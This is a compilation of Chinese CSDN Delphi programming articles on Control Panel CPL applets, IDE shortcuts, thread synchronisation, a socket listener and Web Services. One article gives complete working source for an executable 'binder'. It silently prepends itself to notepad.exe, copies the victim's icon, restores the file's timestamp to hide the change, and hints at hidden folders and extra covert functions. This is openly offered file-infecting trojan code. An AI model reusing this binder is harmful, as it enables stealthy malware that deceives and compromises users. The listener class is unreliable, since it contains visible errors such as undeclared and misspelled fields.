GetWindowText(AHWnd, @WndCaption, 254);
GetClassName(AHWnd, @WndClassName, 254);
if StrPas(WndClassName)='TRichEdit' then
SendMessage(ahwnd,wm_char,43,0); 向命令行窗口发送字符
Result := True;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
Formhandle:Hwnd;
begin
FormHandle:=Findwindow('TForm2','Form2');设备控制程序的命令行父窗口
EnumchildWindows(FormHandle,@EnumchildWindowsProc, 0);

end;


CSDN_文档中心_控制面板的编程

大家应该都非常熟悉控制面板吧，大家也都有操作过控制面板吧，但如何使用Delphi对控制面板进行编程呢？
一、控制面板的原理
下面我就来讲讲控制面板的原理：控制面板在windows中的system目录下，其中所有以CPL为扩展名的，就都是我们的控制面板。要想对控制面板进行编程，就要对CPlApplet这个函数非常熟悉，它是构成CPL文件的核心，原型如下：
function CPlApptet(
hwndCPL:HWND;
uMsg:UINT;
lParam1:LPARAM;
lParam2:LPARAM
):LongInt;stdcall;
参数说明：
hwndCPL：激活控制面板组件的应用程序窗口handle。
uMsg：由外界传入的控制消息。
lParam1：根据消息种类而定的参数1。
lParam2：根据消息种类而定的参数2。
返回值：根据消息种类而定。
当我们想编程激活某个CPL文件时，就会加载此CPL文件，取得CPlApplet函数地址然后调用它。而CPlApplet函数的任务是，根据uMsg消息参数得知外界的请求并做出适当响应。可以传入的消息种类如下表所示：

CPL_INIT CPL文件加载后 供CPL文件有机会进行各控制面板组件的数据结构、变量及配置内存等初始化及前置工作
CPL_GETCOUNT 紧接在CPL_INIT消息后 取得CPL文件提供的控制面板组件数目
CPL_INQUIRE 紧接在CPL_GETCOUNT消息后 取得个别控制面板的信息
CPL_NEWINQUIRE 紧接在CPL_INQUIRE消息后 取得个别控制面板的信息，作用与消息CPL_INQUIRE相同，但应用场合不同，组件通常只须选择二者之一支持即可
CPL_DBLCLK 激活个别组件前 激活某一控制面板组件，通常的响应都是显示Modal对话框供用户设置
CPL_STOP 激活个别组件后 激活中的控制面板组件关闭后，控制面板程序会送出此消息进行个别组件的善后工作
CPL_EXIT 释放CPL文件前 控制面板程序要释放此CPL文件前会送出此消息，提供资源释放或其它善后工作的机会
二、CPlApplet函数的详解
现在我就来讲讲，以上列表中各个消息的详细作用：
1、CPL_INIT：lParam1、lParam2：均未使用。返回值：成功返回非零值；失败返回零。
CPL程序第一个收到的消息一定是CPL_INIT，这时我们可以利用此机会初始化所有控制面板组件共享的数据结构及变量。若初始化失败，返回零，这会使得控制面板不继续传送其它消息给此CPL文件，而这个CPL包含的控制面板的组件就不会出现在控制面板内。
2、CPL_GETCOUNT：lParam1、lParam2：均未使用。返回值：返回此CPL文件所支持的控制面板组件数目。
继CPL_INIT消息后，紧接着会收到CPL_GETCOUNT消息，此时必须返回CPL文件所支持的控制面板组件数目。
3、CPL_INQUIRE：lParam1：组件编号，值为0~（CPL_GETCOUNT返回数目-1）。lParam2：指向TCPLInfo结构的指针。返回值：成功返回零，失败返回非零。
CPL_INQUIRE是编程中最重要的消息，控制面板就是利用这个消息来取得每个组件的确良名称、描述及图标。参数一传入组件编号，我们必须根据组件编号将对应的组件信息填入参数2指向的TCPLInfo结构中。
TCPLInfo结构定义如下：
TCPLInfo=pccked record
idIcon:integer;//指向组件图标
idName:integer;//指向组件名称
idInfo:integer;//指向组件描述CPL_DBLCLKCPL_STOP
lData:Longint;//用户自定义参数
end;
idIcon、idName、idInfo这三个字段是存放组件图标、名称、描述的，我们要调用LoadString及LoadIcon API函数，从CPL文件中取得实际字符串及图标的。
lData字段的类型为Longint，长度为4个字节的无符号整数，不过也可改为指针变量来使用，lData中的值会在控制面板程序下次传送CPL_DBLCLK、CPL_STOP消息时由lParam2参数返回供组件使用，你可以自由决定它的功能。
4、CPL_NEWINQUIRE：lParam1：组件编号，值为0~（CPL_GETCOUNT返回数目-1）。lParam2：指向TNewCPLInfo结构的指针。返回值：成功返回零，失败返回非零。TNewCPLInfo结构比TCPLInfo结构稍微复杂，定义如下：
TNewCPLInfo=pccked record
dwSize:DWORD;//结构占用长度
dwFlags:DWORD;//目前未使用
dwHelpContext:DWORD;//说明页编号，目前未使用
lData:Longint;//用户自定义参数
hIcon:HICON;//组件图示
szName:array[0..31] of char;//组件名称
szInfo:array[0..63] of char;

szHelpFile:array[0..127] of char;//说明文件名，目前未使用
end;
szName、szInfo 、hIcon、lData这4个字段与上一个CPLInfo结构中对应的4个字段作用完全相同，只不过szName、szInfo 、hIcon字段变成为字符串及HICN类型了。这使得CPL程序可以动态地根据情况来产生及返回组件的名称、描述及图标。
5、CPL_DBLCLK：lParam1：组件编号，值为0~（CPL_GETCOUNT返回数目-1）。lParam2：指向TCPLInfo或TNewCPLInfo结构的返回的lData字段值。返回值：成功返回零，失败返回非零。
当我们双击控制面板中的组件图标时，就会触发CPL_DBLCLK消息。这个就是我们用来打开控制面板，打开相应的对话框，然后来设置用的。
6、CPL_STOP：lParam1：组件编号，值为0~（CPL_GETCOUNT返回数目-1）。lParam2：指向TCPLInfo或TNewCPLInfo结构的返回的lData字段值。返回值：成功返回零，失败返回非零。
这个消息提供机会让个别组件进行善后工作，例如释放GDI或核心对象等等。如果一切无误，返回零。
7、CPL_EXIT：lParam1、lParam2：均未使用。返回值：成功返回零；失败返回非零值。就是退出啦。
好了，关于控制面板的研究，到此就告一段落了，若想对它进行深入的编程，可转入到实例中进行练习练习。三、我的控制面板的制作
大家一定用过Windows优化大师吧，它里面有个控制面板，可以把我们电脑里的控制面板都显示出来，我们经过了前面的学习，是否可以也编一个类似的程序呢？回答是肯定的。下面我们就来编个看看吧！
经过我们观察，决定用TlistView控件 。
为了美观，TlistView控件做如下设置：Checkboxes设为True；Columnclick设为False；FlatScrollBar设为True；SortType设为stText；ViewStyle设为vsReport；单击Columns，加上三个数值：项目名称、项目说明、项目作用。在USES中加入声明：CPL。
编程代码：
procedure TForm1.FormCreate(Sender: TObject);
procedure newview(ANode: TListItem);
var
hLib : THandle;
CPLProc : TCPLApplet;//指向 CPlApplet 函数的指针
iCount, I : Integer; // 用来取得控制面板的结构
cplInfo : TCPLInfo;

// 记录元件的名称、描述及图标
sName, sInfo: array[0..255] of char;
hAppIcon : hIcon;
begin

hLib := LoadLibrary(PChar(ANode.Caption));
if hLib = 0 then
begin
ANode.SubItems.Add(' - 无法加载!!');
Exit;
end;
try

CPLProc := TCPLApplet(GetProcAddress(hLib, 'CPlApplet'));
if @CPLProc = nil then Exit;
if CPLProc(Handle, CPL_INIT, 0, 0) = 0 then Exit;

iCount := CPLProc(Handle, CPL_GETCOUNT, 0, 0);
for I := 0 to iCount - 1 do
begin

FillChar(cplInfo, sizeof(TCPLInfo), 0);
CPLProc(Handle, CPL_INQUIRE, I, LongInt(@cplInfo));

LoadString(hLib, cplInfo.idName, @sName, 255);
LoadString(hLib, cplInfo.idInfo, @sInfo, 255);
hAppIcon := LoadIcon(hLib,MAKEINTRESOURCE(cplInfo.idIcon));

ANode.SubItems.Add(sName);
ANode.SubItems.Add(sInfo);

end;
CPLProc(Handle, CPL_EXIT, 0, 0);
finally
FreeLibrary(hLib);

end;
end;
var
sSysdir:array[0..255] of char;
SearchRec:TSearchRec;
J: Integer;
NewItem: TListItem;
begin
GetsystemDirectory(sSysdir,255);//取得系统目录
J:=FindFirst(sSysdir+'\*.cpl',faAnyFile,SearchRec);//开始寻找系统目录下的CPL文件
while J=0 do
begin

NewItem:=ListView1.Items.add;
NewItem.caption:=AnsiLowerCase(searchRec.name);
NewView(NewItem);//调用自定义函数NewView
J:=FindNext(searchRec);//寻找下一个CPL文件
end;
FindClose(searchRec);
end;
若想双击进行运行选中的控制面板，代码如下：
procedure TForm1.ListView1DblClick(Sender: TObject);
var
hLib : THandle;
CPLProc: TCPLApplet;
NewItem: TListItem;
cplInfo: TCPLInfo;

begin
NewItem:=ListView1.Selected;
if (not Assigned(NewItem)) then Exit;
hLib := LoadLibrary(PChar(NewItem.Caption));//加载CPL文件, CPL文件名就是项目名

if hLib = 0 then
begin
MessageDlg('无法运行' + NewItem.Caption,
mtError,[mbOK], 0);
Exit;
end;

CPLProc := TCPLApplet(GetProcAddress(hLib, 'CPlApplet'));
if @CPLProc <> nil then
begin
CPLProc(Handle, CPL_INIT, 0, 0);//运行面板
FillChar(cplInfo, sizeof(TCPLInfo), 0);
CPLProc(Handle, CPL_INQUIRE, NewItem.Index, LongInt(@cplInfo));
CPLProc(Handle, CPL_DBLCLK, NewItem.Index, cplInfo.lData);
CPLProc(Handle, CPL_STOP, NewItem.Index, cplInfo.lData);
CPLProc(Handle, CPL_EXIT, 0, 0);
end;
FreeLibrary(hLib);//释放CPL文件
end;
好了，编程完毕。程序在Windows98+Delphi5下调试通过。
如果大家不想麻烦编写这么多代码的话，可以写信向本人索取源代码，我的E-Mail:bomin@163.com。


CSDN_文档中心_快捷键(Delphi 5)---Enterprise

快捷键：

F11 ------------------------------------ 显示对象监视器（Object Inspector）

F12 ------------------------------------ 在窗体（Form）与程序代码编辑器（Code Editor）之间转换

Ctrl + F12 ------------------------------ 显示程序单元列表

Shift + F12 ----------------------------- 显示窗体列表

Ctrl + Alt + F11 ----------------------- 调出工程管理器

Ctrl + Shift + F11 --------------------- 调出工程配置窗口

F4 ---------------------------------- 运行到光标处

F5 ----------------------------------- 设置调试断点

F7 ----------------------------------- 函数跟踪运行

F8 ----------------------------------- 逐行代码运行

F9 ----------------------------------- 运行工程

Ctrl + F9 --------------------------- 对工程进行编译

Ctrl + F5 --------------------------- 增加查看窗口

Ctrl + Space ------------------------ 调出Code completion窗口

Ctrl + J ------------------------ 调出Code templates

Ctrl + C ----------------------------- 复制（copy）

Ctrl + V ----------------------------- 粘贴 (paste)

Ctrl + X ----------------------------- 剪切 (cut)

Ctrl + Y ----------------------------- 删除一整行

Ctrl + Home ----------------------- 将光标移到程序的开头

Ctrl + End ----------------------- 将光标移到程序的结尾

Ctrl + Shift + 数字 ---------------- 定义标签

Ctrl + 数字 ------------------------ 光标移到所定义的标签处

Ctrl + 上下方向键 ----------------- 可以在函数的声明与函数的内容间快速移动

Ctrl + Shift + C -------------------- 可以通过函数或过程的声明生成其代码编辑框架

Ctrl + Enter -------------------------- 可以打开当前光标所指的文件

Ctrl + F ----------------------------------- 查找

Ctrl + R ----------------------------------- 替换

Ctrl + E ----------------------------------- 逐步增加查找

F3 ------------------------------------ 再一次查找


CSDN_文档中心_捆绑执行文件新思维(第二版)

{
**********************捆绑执行文件新思维(第二版)**********************
最新功能：与其它程序捆绑后，图标为其它程序的图标
这个示范程序没有form，编译、压缩后仅40K，运行后不长驻内存
如果加上隐藏的窗体，加上搜索可执行程序的功能，加上监视系统的功能，加上 %$#@*^ 功能...

程序中几个数字的确定：
1 在本程序编译后用Aspack.Exe压缩,大小为41472
2 经过分析，本程序在用Aspack.Exe压缩后，图标前面部分长40751，图标数据
位于从第40752字节开始共640字节，图标后还有81字节

与其它程序捆绑的过程：
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

怎么找到图标的位置：
将程序的图标设定为一个32*32的红色块，在程序经过编译、压缩后，用十六进制
编辑软件载入，查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用UltraEdit。
本人嫌它有日期限制，自编了一个，有十六进制编辑、比较、查找功能，并在不断完善中，对付几百K的文件没问题：
http://guanbh.top263.net/download/hexedit.exe
}
program exe2;

uses
classes,
Tlhelp32,
windows,
graphics,
ShellAPI,
SysUtils;

{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

procedure copy2(s:string);
var
s1,s2,IcoStream:TMemoryStream;
File2:TFilestream;
ch:array[0..1] of char;
ss:string;
filetime,fhandle:integer;
l:integer;
File2Icon:Ticon;
begin
{若文件s不存在}
if FileExists(s)=False then exit;
try
{若文件不含图标，就不捆绑}
File2Icon:=Ticon.Create;
l:=extracticon(handle,pchar(s),0);
if l=0 then
begin
File2Icon.Free;
exit;
end
else
begin
{提取被捆绑程序图标}
File2Icon.Handle:=extracticon(handle,pchar(s),0);
IcoStream:=TMemoryStream.Create;
File2Icon.SaveToStream(IcoStream);
File2Icon.Free;
end;
{判断文件s中有没有第2个程序头'MZ'。若有，表示已经合并过}
File2:=TFilestream.Create(s,fmopenread);
if File2.Size>MySize then
begin
File2.Position:=MySize;
File2.Read(ch,2);
ss:=copy(ch,1,2);
if ss='MZ' then
begin
File2.Free;
exit;
end;
end;
File2.Free;
{将本文件与文件s合并 本文件+s=s}
s2:=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:=TMemoryStream.Create;
{
加入本程序的前部40751字节
第40752字节开始共640字节为图标数据
!!以下数字 40751,81要根据实际情况修改!!
}
s1.copyfrom(s2,40751);
{将图标换为被捆绑程序图标,图标大小为766}
IcoStream.Position:=126;
s1.CopyFrom(IcoStream,640);
IcoStream.Free;
s2.Position:=40751+640;
{加入本程序的后部81字节}
s1.CopyFrom(s2,81);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
{加入被捆绑程序全部}
s1.copyfrom(s2,s2.size);
s2.free;
{得到文件s的日期}
fhandle:=FileOpen(s, fmOpenread);
filetime:=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢复文件s的日期}
fhandle:=FileOpen(s, fmOpenwrite);
filesetdate(fhandle,filetime);
fileclose(fhandle);
s1.free;
except end;
end;

procedure CreateFileAndRun;
var
s1,s2:TMemoryStream;
TempDir:pchar;
cmdstr:string;
a:integer;
Begin
s1:=TMemoryStream.Create;
s1.loadfromfile(ExeName);
if s1.Size=MySize then
begin
s1.Free;
exit;
end;
s1.seek(MySize,soFromBeginning);
s2:=TMemoryStream.Create;
s2.copyfrom(s1,s1.Size-MySize);
GetMem(TempDir,255);
GetTempPath(255,TempDir);
try
{
把文件释放到临时目录。
如果你不想让人看到在这个目录下释放了一堆文件，可改为其它更隐蔽的目录,
如 c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆)
}
s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));
except end;
cmdstr:='';
a:=1;
while ParamStr(a)<>'' do begin
cmdstr:=cmdstr+ParamStr(a)+' ';
inc(a);
end;
{运行真正的程序文件}
winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
freemem(TempDir);
s2.free;
s1.free;
end;

begin
GetMem(WinDir,255);
GetWindowsDirectory(WinDir,255);
ExeName:=ParamStr(0);
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found:=Process32First(handle,lppe);
ProcessStr:='';
while found do
begin
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
found:=Process32Next(handle,lppe);
end;
{如果notepad没运行，就与它捆在一起}
if pos(WinDir+'\notepad.exe',ProcessStr)=0 then
begin
copy2(WinDir+'\notepad.exe');
end;
{其它需要捆绑的文件
if pos(...,ProcessStr)=0 then
begin
copy2(...);
end;
...
}
freemem(WinDir);
{
你想用这个程序干点其它的什么...
}
CreateFileAndRun;{释放文件并带参数运行}
end.


CSDN_文档中心_扩展Delphi的线程同步对象(1)

扩展Delphi的线程同步对象(1)

[ 作者: 于华 添加时间: 2001-5-5 18:01:08 ]

来源：www.ccidnet.com

    在编写多线程应用程序时，最重要的是控制好线程间的同步资源访问，以保证线程的安全运行。Win 32 API提供了一组同步对象，如：信号灯(Semaphore)、互斥（Mutex）、临界区（CriticalSection）和事件(Event)等，用来解决这个问题。

    Delphi分别将事件对象和临界区对象封装为Tevent对象和TcritialSection对象，使得这两个对象的使用简单且方便。但是如果在Delphi程序中要使用信号灯或互斥等对象就必须借助于复杂的Win32 API函数，这对那些不熟悉Win32 API函数的编程人员来说很不方便。因此，笔者用Delphi构造了两个类,对信号灯和互斥对象进行了封装（分别为TSemaphore和TMutex），希望对广大Delphi编程人员有所帮助。

    一、类的构造
    我们先对Win32 API的信号灯对象和互斥对象进行抽象，构造一个父类THandleObjectEx，然后由这个父类派生出两个子类Tsemphore和Tmutex。

    类的源代码如下：

    unit SyncobjsEx;

    interface

    uses Windows,Messages,SysUtils,Classes,Syncobjs;

    type

     THandleObjectEx = class(THandleObject)

    // THandleObjectEx为互斥类和信号灯类的父类

     protected

     FHandle: THandle;

     FLastError: Integer;

     public

     destructor Destroy; override;

     procedure Release;override;

     function WaitFor(Timeout: DWORD): TWaitResult;

     property LastError:Integer read FLastError;

     property Handle: THandle read FHandle;

     end;

     TMutex = class(THandleObjectEx)//互斥类

     public

     constructor Create(MutexAttributes: PSecurityAttributes; InitialOwner: Boolean;const Name:string);

     procedure Release; override;

     end;

     TSemaphore = class(THandleObjectEx)

    //信号灯类

    public

    constructor Create(SemaphoreAttributes: PSecurityAttributes;InitialCount:Integer;MaximumCount: integer; const Name: string);

    procedure Release(ReleaseCount: Integer=1;PreviousCount:Pointer=nil)；overload;


CSDN_文档中心_类TListenSocket(我写的类似Borland Socket Service的类)

{这是我根据Borland Socket Service改写的类：TListenSocket, 它的功能是相当于："X:\Program Files\Borland\Delphi5\Bin\scktsrvr.exe"。也是说它可以将你的分布式服务端程序变成一个有侦听功能的程序，有侦听，还有你的Remote DataModule可以照样运行。写出来不久，如果有什么BUG，请指出，谢谢。}

{本想把它做成控件方式的，现在不想去改动了。有需要再说，}

{

用法：

uses Listensocket;

var Socket:TListenSocket;

const ListenPort=8888;

Socket:=TListenSocket.Create(Self);

Socket.ListenPort:=ListPort;

Socket.Open;

//OK

}

unit ListenSocket;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
SConnect,ScktComp,SvcMgr, ActiveX,MidConst,winsock,MyConst;

var
FClientThreads:TList;
type
TSocketDispatcherThread = class(TServerClientThread, ISendDataBlock)
private
FRefCount: Integer;
FInterpreter: TDataBlockInterpreter;
FTransport: ITransport;
FLastActivity: TDateTime;
FTimeout: TDateTime;
FRegisteredOnly: Boolean;
procedure AddClient;
procedure RemoveClient;
protected
function CreateServerTransport: ITransport; virtual;
{ procedure AddClient;
procedure RemoveClient; }
{ IUnknown }
function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
function _AddRef: Integer; stdcall;
function _Release: Integer; stdcall;
{ ISendDataBlock }
function Send(const Data: IDataBlock; WaitForResult: Boolean): IDataBlock; stdcall;
public
constructor Create(CreateSuspended: Boolean; ASocket: TServerClientWinSocket;
const InterceptGUID: string; Timeout: Integer; RegisteredOnly: Boolean);
procedure ClientExecute; override;
end;

type MyServerSocket=Class(TServerSocket)
private
procedure GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket;var SocketThread: TServerClientThread);
public
constructor Create(AOwner: TComponent); override;
end;

type
TListenSocket = class(TObject)
private
FActive:Boolean;
FListPort :integer;
FCacheSize :integer;
SH:MyServerSocket;
FItemIndex :integer;
procedure SetActiveState(Value:boolean);
function GetClientCount :integer;
{ Private declarations }
public
property CacheSize :integer read FCacheSize write FCacheSize;
property ListPort:integer read FListPort write FListPort;
property Active :boolean read FActive write SetActiveState;
property ClientCount:integer read GetClientCount;
public
constructor Create(AOwner :TComponent);
destructor Destroy;override;
class procedure AddClientThread(Thread :TSocketDispatcherThread);
class procedure RemoveClientThread(Thread:TSocketDispatcherThread);
procedure Open;
procedure Close;
end;

implementation

function TListenSocket.GetClientCount :integer;
begin
Result:=FClientThreads.Count;
end;

constructor TListenSocket.Create(AOwner :TComponent);
begin
LoadWinSock2;
FActive:=False;
FClientCount:=0;
FCacheSize :=10;
FClientThreads:=TList.Create;
SH:=MyServerSocket.Create(nil);
inherited Create;
end;

destructor TListenSocket.Destroy;
begin
SetActiveState(False);
FreeAndNil(FClientThreahs);
inherited Destroy;
end;

procedure TListenSocket.Open;
begin
SetActiveState(True);
end;

procedure TListenSocket.Close;
begin
SetActiveState(False);
end;

class procedure TListenSocket.AddClientThread(Thread :TSocketDispatcherThread);
begin
FClientThreads.Add(Thread);
end;

class procedure TListenSocket.RemoveClientThread(Thread :TSocketDispatcherThread);
var i:integer;
begin
for i:=0 to FClientThreads.Count -1 do
begin

i:=FClientThreahs.IndexOf(Thread);
if i<>-1then
FClientThreads.Delete(i);
end;
end;

procedure TListenSocket.SetActiveState(Value:boolean);
var i:integer;
begin
if Value then
begin
SH.Close;
SH.Port :=ListPort;
SH.ThreadCacheSize :=CacheSize;
SH.Open;
end else
if not Value then//if FClientCount>0 then Error('还有客户在连接状态，中止。')
SH.Close;
FActive:=Value;
end;

//下面的东西都是在Delphi中Copy过来的，为我所用了。呵呵

{MyServerSocket Class}
procedure MyServerSocket.GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket;
var SocketThread: TServerClientThread);
begin
SocketThread:=TSocketDispatcherThread.Create(false,ClientSocket,'',0,false);
end;

constructor MyServerSocket.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
ServerType := stThreadBlocking;
OnGetThread := GetThread;
end;
{MyServerSocket Class over}

{TSocketDispatcherThread class}
function TSocketDispatcherThread.CreateServerTransport: ITransport;
var
SocketTransport: TSocketTransport;
begin
SocketTransport := TSocketTransport.Create;
SocketTransport.Socket := ClientSocket;
Result := SocketTransport as ITransport;
end;

constructor TSocketDispatcherThread.Create(CreateSuspended: Boolean; ASocket: TServerClientWinSocket;
const InterceptGUID: string; Timeout: Integer; RegisteredOnly: Boolean);
begin
FTimeout:=EncodeTime(Timeout div 60, Timeout mod 60, 0, 0);
FRegisteredOnly:=RegisteredOnly;
FLastActivity:=Now;
inherited Create(CreateSuspended, ASocket);
end;

function TSocketDispatcherThread.Send(const Data:IDataBlock; WaitForResult:Boolean):IDataBlock;
begin
FTransport.Send(Data);
if WaitForResult then
while True do
begin
Result := FTransport.Receive(True, 0);
if Result = nil then break;
if (Result.Signature and ResultSig) = ResultSig then
break else
FInterpreter.InterpretData(Result);
end;
end;

procedure TSocketDispatcherThread.AddClient;
begin
TListenSocket.AddClientThread(Self);
end;

procedure TSocketDispatcherThread.RemoveClient;
begin
TListenSocket.RemoveClientThread(Self);
end;

procedure TSocketDispatcherThread.ClientExecute;
var
Data: IDataBlock;
msg: TMsg;
Obj: ISendDataBlock;
Event: THandle;
WaitTime: DWord;
begin
CoInitialize(nil);
try
Synchronize(AddClient);
FTransport := CreateServerTransport;
try
Event := FTransport.GetWaitEvent;
PeekMessage(msg, 0, WM_USER, WM_USER, PM_NOREMOVE);
GetInterface(ISendDataBlock, Obj);
if FRegisteredOnly then
FInterpreter := TDataBlockInterpreter.Create(Obj, SSockets) else
FInterpreter := TDataBlockInterpreter.Create(Obj, '');
try
Obj := nil;
if FTimeout = 0 then
WaitTime := INFINITE else
WaitTime := 60000; //MAXIMUM_WAIT_OBJECTS
while not Terminated and FTransport.Connected do
try
case MsgWaitForMultipleObjects(1, Event, False, WaitTime, QS_ALLEVENTS) of
WAIT_OBJECT_0:
begin
WSAResetEvent(Event);
Data := FTransport.Receive(False, 0);
if Assigned(Data) then
begin
FLastActivity := Now;
FInterpreter.InterpretData(Data);
Data := nil;
FLastActivity := Now;
end;
end;
WAIT_OBJECT_0 + 1:
while PeekMessage(msg, 0, 0, 0, PM_REMOVE) do
DispatchMessage(msg);
WAIT_TIMEOUT:
if (FTimeout > 0) and ((Now - FLastActivity) > FTimeout) then
FTransport.Connected := False;
end;
except
FTransport.Connected := False;
end;
finally
FInterpreter.Free;
FInterpreter := nil;
end;
finally
FTransport := nil;
end;
finally
CoUninitialize;
Synchronize(RemoveClient);
end;
end;

function TSocketDispatcherThread.QueryInterface(const IID: TGUID; out Obj): HResult;
begin
if GetInterface(IID, Obj) then Result := 0 else Result := E_NOINTERFACE;
end;

function TSocketDispatcherThread._AddRef: Integer;
begin
Inc(FRefCount);
Result := FRefCount;
end;

function TSocketDispatcherThread._Release: Integer;
begin
Dec(FRefCount);
Result := FRefCount;
end;
{TSocketDispatcherThread class over}

end.


CSDN_文档中心_类似网络蚂蚁的悬浮窗体

源码：

protected:
virtual void __fastcall CreateParams(TCreateParams & Param);

void __fastcall TForm2::CreateParams(TCreateParams & Param)
{
//调用基类
TForm::CreateParams(Param);

//去掉窗口标题区
Param.Style=Param.Style & ~WS_CAPTION;
Param.Style=Param.Style | WS_POPUP;
//设为总在最上面
Param.ExStyle=Param.ExStyle | WS_EX_TOPMOST;
//设Windows Owner为Desktop Window
Param.WndParent=GetDesktopWindow();
}

注意：
1、Windows Owner与Windows Parent不同，用::SetParent函数和设置Form?->Parent这能设置Windows Parent，不能设置Windows Owner，要实现FlashGet的悬浮窗必须要设置Windows Owner。
2、Form的BorderStyle要设为bsToolWindow，不然在任务栏上会显示出这个窗口的标题，将Caption设为空也没有用。


CSDN_文档中心_李维：ＤＥＬＰＨＩ６．.ＮＥＴ-- 我的看法

李维：ＤＥＬＰＨＩ６．.NET -- 我的看法
李维

    嗯，我又被点名了。本来我已经在整理一篇文章，有关Delphi/Delphi.NET和Microsoft.NET的内容，但是我一直没有时间完成（我已经在论坛上说了好几次了）。有些事情我并不方便说，这些事情应该由Borland的人来说，例如Tomm兄（转贴者注：台湾宝兰产品经理），他有关Borland的信息应该是比较正确的，因为我是Delphi 6的Beta Tester，也是Microsoft .NET的Beta Tester.

    我可以简单的说一下我的看法，不过这些看法是我个人的意见，各位可以参考一下。

    1. Delphi 6仍然将是Window下最好的原生开发工具，至少在2，3年之内如果我要写传统的原生App， Delphi 6是首选。只是希望Borland不要急着推出Delphi 6.

    2. .NET仍将逐渐成为Window下主流的开发环境， Window下的工具厂商都需要支持。不过这可能需要最少1到2年的时间。NET才会成为主流。

    3.在。NET开始的版本中， COM+仍然是核心技术。虽然。NET有了新的组件模型，类似VCL，只是可以使用在所有支持。NET的语言中。但是有关Pooling， Transaction等仍然是靠COM+完成的。所以COM+仍然非常重要。

    4.在Beta 1中。NET的data-aware做得仍不如Delphi，但是Beta 2有了改善。

    5.我喜欢C#，但是我也喜欢Object Pascal.两个语言各有优缺点。 Borland可以在Delphi.NET中继续改善Object Pascal.那么我可能仍然会用Object Pascal.

    事实上我认为。NET的Framework虽然完整，但是。NET的Framework在我来看仍然和VCL的Component Framework有一点差距。 .NET的Framework和Java的class比较接近，大都需要程序员写一堆的程序代码。 Borland的专长就是设计Framework，例如OWL， VCL都比Mirosoft设计的好。因此Borland可以在。NET的Framework上再架构一个比较偏向VCL这种Component Framework，那么我们Borlnders就可以在Delphi.NET中享受比使用Microsoft.NET的人更高的生产力。 Borland不需要再写另外一个Framework和。NET Framework竞争，相反的要好好的利用。NET Framework来建立更棒的。NET VCL.如此一来即可以避免以往Microsoft利用OS优势来打击Borland，例如MFC对OWL，又可以建立一个功能完整，方便好用的Framework来回击Microsoft.

    。NET的确对Borland是一个严厉的考验，不过我不担心Borland无法应付。只要Borland投入足够的资源，就像投入JBuilder一样。我只是担心Borland让一个Team开发Delphi， C++ Builder， Kylix， Kylix For C++.那么就不妙了，这也是我最不能接受的。 Delphi明明还为Borland赚不少钱，却不投入相对的资源，有点不公平。嗯说太多了，应该闭口让Tomm来发表一下。

    附录：

    以下是论坛的其它内容：

    问：不是六月份就要出货了吗？怎么说不急呢？

    答：哈哈，我装作不知道6月要出货好了。

    问：不晓得正式版何时出？我觉得好奇怪为什么M的产品beta版本就这么多人用？

    答：年底左右。这是Microsoft和Borland策略的不同，不过我希望Borland能够再开放一

    点，例如Borland 1是的Beta Tester就有超过上万人，这是Borland有史以炊来最大的测试计划。至此之后就再也没有了。

    问：嗯！没错在之上还可以架Framework！不过我觉得Java当中Package的概念使得函式库很容易理解，并且其语言有相当多的特色，其I/O就可以写一本书了。

    答：。NET也很好，光是。NET中有关XML/SOAP的类别也可以写好几本书。也许我是属于实用派，因此不管是Delphi，Java或是。NET我都以实际的「使用性价值」来看。从我个人的观点来看，除非SUN继续强化Java，否则。NET的架构在目前是比较好，只不过。NET是只定位在Window系列的平台。SUN的Hot Spot Compiler已经成为笑话，但是由Anders领军的。NET可不是开玩笑的。现在。NET Beta1的速度已经超过Java，等到Beta 3开始调整速度时，。NET可能会胜过Java许多。

    问：Borland的研发人员真是战将啊！另外，JBuilderd的专书似乎少之又少，在国外应该比较风行吧！

    答：嘻，如果你往好的方向解释也可以，只是我怕Borland投入的资源不够多，而造成历史覆辙，希望我是多虑的。JBuilder的确是在英/美语系的国家卖得很好。


CSDN_文档中心_李维：樂趣無窮，可能無限的新技術-Web Service

樂趣無窮，可能無限的新技術-Web Service

雖然電子商務的狂熱在最近似乎有減溫的現象，讓許多人能夠回歸到正常的步調之中，不過隨著電子商務而發展的軟體技術並沒有稍停腳步，反而更加蓬勃發展。因為由這些技術創造的應用早已成為許多人生活的一部份，甚至是開啟未來趨勢的基石。在目前最熱門且最被看好的技術便是所謂的Web Service了，那麼什麼是Web Service呢？

簡單的說，Web Service是一種想把全世界的Internet/Intranet變成一個虛擬計算環境的觀念和技術。在由Web Service組成的虛擬環境中使用者可以任何的用戶端軟體，例如瀏覽器，一般的Window或是Java應用程式或是電子行動設備等，來呼叫Web Service提供的服務。而Web Service本身則可以由任何的技術實作，例如開發者可以使用Delphi，Java，C/C++或是C#等的語言和工具來開發。

Web Service是建立在開放和標準的規格之上，允許異質的用戶端呼叫以使用它提供的服務。因此各種異質的用戶端必須使用一種共通的溝通標準才能夠順利的和由各種不同技術實作的Web Service互通。目前最流行而且最具潛力的溝通標準當屬SOAP了。
